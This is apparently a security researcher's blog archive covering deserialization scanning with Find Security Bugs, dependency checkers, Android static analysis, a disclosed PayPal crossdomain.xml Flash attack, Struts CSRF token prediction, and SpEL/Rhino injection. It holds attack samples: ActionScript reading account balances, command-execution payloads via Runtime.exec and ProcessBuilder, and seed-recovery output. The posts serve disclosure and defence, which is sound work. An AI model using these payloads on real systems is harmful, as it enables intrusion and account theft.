Wednesday, January 6, 2016

Deserialization Vulnerability : Automating the hunt

At the end of 2015, many Java applications were found vulnerable to a common deserialization bug. It all starts with a presentation at AppSecCali that demonstrate the danger of deserializing user input and having Apache Commons Collections in the classpath [1]. Stephen Breen from Foxglove later publish vulnerabilities with working exploits for WebLogic, WebSphere, JBoss and Jenkins.

This is obviously not the end of the story. While some big names where fixed, other applications open source and proprietary are likely to be vulnerable to the same bug pattern. In fact quickly after Foxglove publication, an advisory was release for ActiveMQ.

Stephen has already described in great detail the detection and exploitation in the context of penetration test. I wanted to provide a small method for scanning proprietary applications looking only at the jar files.

Object deserialisation (*)

Scanning a specific library

For the demonstration of this article, I will use the command line interface of FindBugs with the plugin Find Security Bugs version 1.4.5 (download link).
In its simplest form, we can pass the path of the JAR file to scan. Here -high is added to hide medium vulnerability.
> ./ -high libs/esapi-2.1.0.jar

H S SECOBDES: Object deserialization is used in org.owasp.esapi.codecs.Base64.decodeToObject(String)  At[line 1106]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At[line 174]
H S SECPTO: FileOutputStream(...) writes to a file whose location might be specified by user input  At[line 1359]
H S SECPTO: FileOutputStream(...) writes to a file whose location might be specified by user input  At[line 1322]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At[line 188]
H S SECPTI: FileInputStream(...) reads a file whose location might be specified by user input  At[line 1318]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At[line 140]
H S SECPTI: FileInputStream(...) reads a file whose location might be specified by user input  At[line 1355]

To analyze a specific bug, you can open the jar directly in JD.
Jumping to the potential bug (Base64 line 1106)

Search feature in JD to find class by name or regex pattern

Scanning a complete application

The command line interface of FindBugs has plenty of options. If we want to scan a complete application, we will need to give the complete list of jars to FindBugs.

On Linux:
> find /some/application/ -name *.jar

On Windows:
dir "C:/Some/Application/" /s /b  | findstr \.jar$ > libs.txt

Once the jars list is place in a text file, we can start a global scan. In the following example,

  • -xargs : is used to pipe the list of jars
  • -progress : is added to have some feedback since analyzing large code base can take a couple of minutes.
  • -html : I recommend using the HTML report to have a more detailed and readable report

  • > cat libs.txt | -xargs -progress -html -output report.htm
    Scanning archives (156 / 156)
    2 analysis passes to perform
    Pass 1: Analyzing classes (16922 / 48118) - 35% complete

    The same operation can be done in Windows with the following command.
    > type libs.txt | findsecbugs.bat -xargs -progress -html -output report.htm


    That's it! You should be able to find deserialisation vulnerability along with other bug patterns supported by Find Security Bugs plugin.

    To determine if an application is vulnerable or not will obviously require a specific analysis. The only general guideline is to identify ObjectInputStream instance where the content is read from user input.


  • What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability: Detailed explantation for many application can be exploited by Apache Commons Collections "serialization gadget" written by Stephen Breen
  • AppSecCali 2015 - Marshalling Pickles: Presentation that cover the Apache Commons Collections "serialization gadget" by Christopher Frohoff and Gabriel Lawrence
  • SRCLR: Commons Collections Deserialization Vulnerability Research Findings : Research maded by SRCLR that focus on finding additional vulnerables libraries
  • SRCLR: Let’s Calm Down About Apache Commons Collections: Follow up to the article from Foxglove Security
  • ActiveMQ CVE-2015-5254: Official advisory from ActiveMQ
  • Find Security Bugs : Official web for the Find Security Bugs plugin
  • Find Security Bugs release 1.4.5 : Version use in the previous demonstrations
  • Friday, November 6, 2015

    Automate dependencies checking

    An application is like an iceberg. During a security code review, the focus will always be on the code written by the development team. It is easy to forget that most of the code running in production will be framework, libraries, the web server and the operating system.

    (Credits robynm pixabay)

    Keeping an operating system and its web server up to date might be a relatively simple task but, keeping track of all of the dependencies of an applications (framework and libraries) can be much harder. A complex application can easily have hundred of dependencies. Reviewing all the code of the libraries used is beyond possible for most company. On the other hand, making sure that at least all the libraries used don't have known vulnerabilities seems reasonable.

    Tools available

    I will present in this blog post two tools that can support this task for Java applications.

    1.  OWASP Dependency Check (Java, .NET, Ruby, node.js, ..)
    2. Victims (Python, Java)

    Although the tools target the same objective, they used two different approachs.

    1. OWASP Dependency Check

    Dependency check extract various keywords including the filename, artifactid (if Maven) and META-INF properties. It than search those keywords in the NIST Natial Vulnerability Database feed.

    At first, it might sound like an effective solution but in practice this approach is very approximate. A lot of false positive generated by this tool. The NIST feed include tons of applications that are not Java libraries. Application sharing common keyword in their name is really common,
    The NIST feed is not a perfect source of information because not all libraries affected are documented in the database. The search will

    Bottom line, it can still be use to do some automate research instead of googling each libraries one by one.

    Example of report generated from OWASP Dependency Check

    2. Victims CVE Project

    Victims is taking a white list approach where all Java CVE are extracted from the NIST feed, documented and mapped to their respective Maven artifactId.

    Unfortunately, the detection of many vulnerable artifact because of some missing hash. To still benefit from this source of information, I have start building an alternative client for maven that avoid the intermediary step of creating hash for each vulnerable jars. I did a short demonstration of the first release version at JavaOne last week.

    Demo of the Maven Security Versions plugin (Click to zoom)

    Clarification : The demonstration above use maven-security-versions. The official maven integration is called victims-enforcer.

    Report generated from Maven Security Versions

    Closing Thoughts

    Just like static analysis tools, it is generally better to use more than one dependency checker. Using both tools allow you to have a better coverage.


    OWASP Dependency Check : Official Dependency Check page
    Victims : Official Victims Github project
    RubySec: Ruby advisory database

    Tuesday, June 30, 2015

    Security Code Review of Android applications

    You are developing mobile applications and you have read the OWASP Mobile - Top Ten Mobile Risks. You may be wondering what security tools can help you face the growing complexity of your Android applications. Well, there are plenty! In this article, I will present two free static analysis tools which scan your code directly from your IDE.

    Android Lint

    What is it?

    Android Lint is a static code analyzer provided in the official IDE Android Studio.

    What will it find?

    The list of checks is quite long, but the number security checks are low. There are still critical checks that justified running this tool regularly.


    None! As mention previously, it is included in the official IDE Android Studio. However, if you want to keep only the security related checks, you can use this "security only" profile.


    FindBugs + Find Security Bugs plugin

    What is it?

    FindBugs is a popular static analysis engine which is widely used in the Java community. Find Security Bugs is a plugin for this tool to bring security rules to the analysis.

    What will it find?

    The main focus of the security plugin FindSecBugs is to mark weaknesses such insecure communicationcryptography missuses and sensible sections of the application.


    The installation and configuration of FindBugs can be done with few clicks. If you are still using Eclipse (previously official IDE), an equivalent plugin is also available in the Eclipse Marketplace.


    Here is a short demonstration that showcases the FindBugs integration in Android Studio.

    (Note : An old version of Find Security Bugs is used)

    What is next?

    Unfortunately, the client mobile application is only the tip of the iceberg. Your application back-end also requires special attention. The number one risk of the OWASP Top Ten Mobile Risk is Weak Server Side Controls after all.

    Another great initiative would be to integrate both tools, Android Lint and FindBugs, in your continuous integration environment.

    Upcoming presentation at BlackHat USA 2015

    I will be presenting the security plugin for FindBugs at Black Hat arsenal. I will give demonstrations of the integration on IntelliJ and on SonarQube. If you have used the tool already, don't hesitate to come give me your feedback in person.
    If you are doing Android development, don't miss QARK which will be presented during the same period.

    That's it! If you have ideas for new security rules that would apply to Android, don't hesitate to open a ticket on Github.


    OWASP: Source Code Analysis Tools: List of static code analysis tools
    NIST: Source Code Security Analyzers: Another great list of tools classified by language.
    Android Lint: Official documentation of Lint
    Find Security Bugs: Github website for the FindBugs security plugin
    Mobile Security Wiki: A well organized list of resources including tools for Android.

    Wednesday, April 15, 2015

    crossdomain.xml : Beware of Wildcards

    This blog entry will describe a wide spread Flash vulnerability that affected many big websites including The description will picture the state of the website and in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

    It all starts with a wildcard...

    After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on might not be impossible, but it's not the easiest target.

    There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml). from 2014
        <allow-access-from domain="*"/>
        <allow-access-from domain="*"/>
        <allow-access-from domain="*"/>

    This tell us that SWF hosted on any of those domains can make requests to the domain and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

    Step 1: Finding weak domains

    We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

     $ ./

    It is also possible to find upload functionalities with some Google-Fu.

    • inbody:attachment
    • forum
    • upload
    • etc...

    From the previous enumeration, I identify that the following where having upload functionnality for images or documents.
    "Luckily", all three were vulnerable.

    Step 2 : Uploading the SWF file

    The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.
    HTTP/1.1 200 OK
    Date: Tue, 22 Jul 2014 04:49:07 GMT
    Server: Apache
    Set-Cookie: VISITORID=147921315;; Path=/
    Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
    Content-Length: 33576
    Connection: close
    Content-Type: image/jpeg;charset=UTF-8

    Malicious SWF

    A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.
    function getAccountBalanceHttpReq() {
        urlLoader = new URLLoader();
        urlLoader.addEventListener(Event.COMPLETE, onComplete);
        urlLoader.load(new URLRequest(encodeURI(""")));
    function onComplete(event:Event):void {
        //Extract balance from the page..
        var balanceRegExp:RegExp = /\$.*USD/;
        var amountFound:String =;
        //Display amount extracted
        this['txtCurrentBalance'].text = amountFound;
        //More exfiltration

    I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

    Step 3 : Hosting a malicious page

    All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.
    <script src="swfobject.js"></script>
    var url ="";
    swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});
    <div id="evilSwf"></div>

    That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

    Proof of Concept reading the balance amount

    The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.


    Demonstration of the attack described previously. (Fullscreen recommended)

    The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.


    Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.

    I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.


    Tuesday, December 16, 2014

    Predicting Struts CSRF Token (CVE-2014-7809)

    A week has passed since the official release of Struts 2.3.20. I would like to now explain how CSRF tokens could be "easily" predicted by taking advantage of the vulnerability S2-023.

    This article will be all about practical exploitation of a LCG pseudo random generator. Buckle up for code review, some math analysis and tons of hex fun!

    True random number generator in action [Image Credit]

    Diving in code review

    The class 'TokenHelper' is use to generate CSRF token in the web framework Struts 2. The security of those tokens is crucial. It is expected that those would be immune to brute force attempt and to prediction. Take a minute to review the following class and maybe you will also find the vulnerability. (Struts 2.3.17)
    import java.math.BigInteger;
    import java.util.Map;
    import java.util.Random;
    public class TokenHelper {
         * The default namespace for storing token session values
        public static final String TOKEN_NAMESPACE = "struts.tokens";
         * The default name to map the token value
        public static final String DEFAULT_TOKEN_NAME = "token";
         * The name of the field which will hold the token name
        public static final String TOKEN_NAME_FIELD = "";
        private static final Logger LOG = LoggerFactory.getLogger(TokenHelper.class);
        private static final Random RANDOM = new Random();
         * Sets a transaction token into the session based on the provided token name.
         * @param tokenName the token name based on which a generated token value is stored into session; for actual session
         *                  store, this name will be prefixed by a namespace.
         * @return the token string
        public static String setToken( String tokenName ) {
            String token = generateGUID();
            setSessionToken(tokenName, token);
            return token;
        public static String generateGUID() {
            return new BigInteger(165, RANDOM).toString(36).toUpperCase();

    Got it ? Or giving up ? .. You can now pass to the next section.

    Identifying the weak point

    In order to be able to analyse the previous code, two classes need to be introduce.

    SecureRandom is a random generator that is recognized to be "cryptographically" secure. Its implementation will depend on the system hosting the JVM. With sufficient entropy, the values generated should be unpredictable. It is also important to note that each value generated is not base on the previous value or sequential.


    Random is a Linear Congruential Generator (LCG). What does it means? The generator is based on the evolving state of a value that is multiply by a huge number and reduce to its less significant bits (Those operations will be explain later). It is important to understand that the goal of such generator is mainly efficiency and uniform bit distribution.

    Let's focus on the generation of the GUID (method generateGUID from the previous sample). (Struts 2.3.17)
    private static final Random RANDOM = new Random();
    public static String generateGUID() {
        return new BigInteger(165, RANDOM).toString(36).toUpperCase();

    The seed and random state

    First, at the line 1, the Random class use a implicit seed that is the timestamp in nanoseconds of the time where this class is loaded (System.nanoTime()). This could be predict if the attacker have some insight about the load time of the Random class.

    The weakest point is simply the usage of the java.util.Random instead of The random values are generated based on a LCG which is not design to unpredictable. That's it! We have a vulnerability.

    Vulnerable in theory, but is it exploitable?

    Theory is one thing. Can we realistically predict tokens by collecting multiple tokens (or maybe just one)? To exploit this vulnerability we will have to dig into the implementation of the class Random. What happen when a number is generated...


    There are few details we need to know to attack the random generator.

    Generator lifecycle

    Life cycle of a Linear Congruential Generator (LCG)

    1. The seed is multiply with a constant value (mutiplier).
    2. An constant value (addend) is added to the previous result.
    3. A mask of 48 bits is then applied to the previous result (less significant).
    4. A mask of 32 bits is then applied to the previous result (most significant) but will not affect the seed for the next value.

    The exact implementation of java.util.Random number generation is:
    protected int next(int bits) {
        long oldseed, nextseed;
        AtomicLong seed = this.seed;
        do {
            oldseed = seed.get();
            nextseed = (oldseed * multiplier + addend) & mask;
        } while (!seed.compareAndSet(oldseed, nextseed));
        return (int)(nextseed >>> (48 - bits));

    What's next() ?

    The previous algorithm describe the generation int (32 bits). What about long (64 bits) and byte array (multiple of 8 bits)? The two types are build upon the generation of one or multiple ints.

    Byte order for the various nextX() methods.
    Why does this details matter? In the case of Struts, the nextBytes method is called implicitly by the BigInteger class. In order to predict the state of the seed, we will need to reverse the order of the bytes to match the original int values.

    java.util.Random usage in Struts (

    Now how does Struts interact with java.util.Random? The important calls are as follow.

      -new Random()
      -new BigInteger()

    As said previously, the nextBytes() method is used. Nonetheless, a sequence of int is still generated.


    To exploit this algorithm, a bridge need to be made between two successive generated values. The only obstacle is the loss of 16 bits information of the seed. It is really easy to retrieve the seed by brute-forcing the missing 16 bits. Once the seed is found, we can generate all the following values. This is made possible because the Random instance is reuse globally (see the static keyword).

    Brute force operation

    The proof of concept code has some additional details that are not that interesting. If you need to produce a working exploit, take a look at this proof of concept : struts-csrf-cracker.

    Execution preview:
    == Initial token
    == Initial token in hex (easier evaluation)
    Guessing part..
    == bytes representation (reconstructed byte array)
    Seed found: 259752424024079
    == following int .. (should match the initial token last part) 
    == (prediction) Next token 
    == (actual) Next token
    == (actual) Next token in hex (easier evaluation)


    If you see java.util.Random being used to generate secret value, the code is most likely vulnerable.

    You can scan your code and the libraries you are using with Find Security Bugs. It will find vulnerabilities including predictable Pseudo Random Generator.


    Struts 2 Advisory S2-023 : Official Struts advisory
    Cracking Random Number Generators by James Roper : 3 parts articles series explaining PRNG in Java.
    Black-Box Assessment of Pseudorandom Algorithms by Derek Soeder, Christopher Abad and Gabriel Acevedo : Excellent paper presented at BlackHat USA 2013. The tool presented "Prangster" is probably your best bet when source code is not available (Detailed paper).

    Monday, November 17, 2014

    Remote Code Execution .. by design

    In rare situations, web applications are design to accept code as input. In most case, it is design to provide flexibility to the administrator of a system. The idea is to replace a complex interface by a Domain Specific Language. For a developper, it is a way to simply the application. For an attacker or a pentester, it could be the key element to gain access to the operating system.

    Fictitious Applications

    The attack vectors describe in this blog post are based on two scenarios I came across earlier this year. For each of those scenarios, I will present the engines used and some malicious samples to exploit those.

    If you are looking for contextualize scenario, you can look at the follow article (Popping a shell on the Oculus Developer Portal). The attack described, in the previous article, take advantage of an expose eval function on the Oculus Developer Portal.

    Spring Expression Language (SpEL)

    The Spring Expression Language is the syntax used by spring for configuration and code place in annotations. It support a syntax that is close to Java code but with many limitations.

    Usage Example

    Spring exressions can be invoked as follow:

    ExpressionParser parser = new SpelExpressionParser();
    StandardEvaluationContext testContext = new StandardEvaluationContext(TEST_PERSON);
    Expression exp = parser.parseExpression(dynamicValue); // name = 'Bob'
    String valueExtracted = exp.getValue(testContext, String.class);

    Malicious input script

    The main limitation when injecting inside a SpEL expression is that the code must be a "oneliner". No assignment are possible. This force us to use a sequence of telescopic methods.

    The following will blindly execute a command :

    The result of the expression evaluation could be displayed back to the user. If it is the case, the output can be redirected and converted to a String using the Scanner class.
    (new java.util.Scanner(
        (T(java.lang.Runtime).getRuntime().exec("uname -a").getInputStream()),"UTF-8"))

    To ex-filtrate data there is many options available. Here is one creating an HTTP request with data pass in a GET parameter.

    ScriptEngine / Rhino

    The ScriptEngine api is available since the release of Java 6. It allow application to interact with script written in language such as JavaScript. The engine used to evaluate JavaScript is by default Rhino.

    Usage Examples

    The application code using the Rhino engine will look like this :

    import org.mozilla.javascript.*;
    Context cx = Context.enter();
    cx.evaluateString(scope, dynamicCodeHere, "", 1, null);
    Or this way using the generic ScriptEngince API..
    import javax.script.ScriptEngine;
    ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
    ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
    Object result = scriptEngine.eval(dynamiceCodeHere);

    Malicious input script

    If you manage to control some part or all of the script evaluate, you can interact with the variable place in the context but, you can also interact fully with the JVM (by default). Rhino has many syntax additions to allow to interact with the Java API. For exemple, the following script will execute the command "calc.exe" by creating a instance of ProcessBuilder and starting the process.

    new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

    Sandboxing the Script Evaluation

    Of course, not using those api can mitigate the risk instantly. If you are still convince that providing scripting interaction for your remote users is a good idea, you can use sandboxing mechanism to limit the attacks that were presented.

    The SpEL evaluation can be configure to allow specific methods, constructors and fields access. It can be done by providing a MethodResolver, ConstructorResolver and PropertyAccessor to the evaluation context. See SpEL documentation for more details. As always, a white list should be build not a black list.

    In the case of Rhino, the context can take a ClassShutter that allow or disallow the access to certain classes. If you need to disallow all access to the native API, you can reused the rhino-sandbox project created by cloudbees.


    Remote Code with Expression Language Injection : Other examples of malicious script for SpEL Spring Expression Language (SpEL) : Reference to the language itself
    Expression Language Injection  by Stefano Di Paola and Arshan Dabirsiaghi : The paper doesn't cover command execution or file system access.
    Sandboxing Rhino in Java : Code sample of a proper sandboxing.
    Rhino Documentation : Rhino documentation for reference on writing scripts
    rhino-sandbox : Github project to disallow all access to native api.

    Monday, October 13, 2014

    Find Security Bugs: New version and project status

    A new version of Find Security Bugs was release last week.

    For those who don't know about it, Find Security Bugs is a plugin for the Java static analysis tool FindBugs. This plugin consist of a set rules that focus only on security weakness.

    FindSecurityBugs used inside Eclipse IDE

    (If you are not a user of the tool, this post will likely not be of great interest.)

    What is new in 1.2.1?

    Few rules were added and enhanced. The major ones are:
    • Better coverage for the SaxParser api vulnerable to XXE. The default configuration of the SaxParser is still vulnerable in the latest JDK.
    • Detect usage of XMLDecoder which is a parser that is not design to parse XML from external source. For more information, refer to Dinis Cruz article "Using XMLDecoder to execute server-side Java Code..".
    • Better coverage for weak hashing functions. This change consist in the addition of api of the Apache-Commons library.
    • Detection of Static IV when encrypting messages.  This rule will trigger if an instance of IvParameterSpec is construct and the bytes were not generated randomly in the same method. This rule is likely to trigger many alerts that require manual evaluation.
    • Detection of ESAPI Encryptor usage. The latest version of ESAPI is still weak if you are using the default configuration. The description of the bug will guide you with a list of verification.
    • Evaluation of dynamic script with ScriptEngine. You definitely want to use a sandbox in most context.
    • Evaluation of dynamic expression with SpEL (Spring Expression Language). This api is part of Spring core components and should never be expose to an end-user.
    I will soon publish an article about the two last rules to present the vulnerabilities and exploitation scenarios.

    Thanks to Dave Wichers, the descriptions have received important improvements.You can see the changes on the bugs description page.

    Project status and future

    Two years after I started this project, I am very pleased to see it being use in a wide range of organisations. At first, it was really just a "weekend project" that aim to automate part of my work when doing code review. I am now finding a variety of reference to the tool in enterprise and academic contexts.

    The latest version of the OWASP Top 10 and the OWASP Testing Guide mention it.
    "There are other free, open source, code review tools. The most promising is FindBugs, and its new security focused plugin called: FindSecurityBugs, both of which are for Java."
    OWASP Top 10 - PDF format, page 18
    The SWAMP project (Software Assurance Marketplace) is using FindSecurityBugs to cover the analysis of Java code.
    "Currently, the SWAMP offers seven static analysis tools, which are: Findbugs with FindSecurityBugs, Clang Static Analyzer, CPPCheck, GCC, PMD, error-prone, and Checkstyle."
    It was use in the code review of the Norwegian Voting System in 2013.
    "An early step taken to get better acquainted with the code base, was by running automated tools for static analysis. In particular, FindBugs with the “Find Security Bugs”-plugin, as well as PMD, were used. These are freely available tools that are simple to set up and run, which use heuristic techniques to discover possible or probable code errors. [...] In particular, FindBugs has been quite helpful."
    Source code audit of Norwegian electronic voting system, Page 18
    Finally, the austrian company Porsche Informatik has create the Sonar plugin last year. The support for the latest version should be integrate soon.


    The plugin will continue to grow but it is likely that the number of new rules decrease as I am getting less ideas. There is still room for improvement for many existing rules.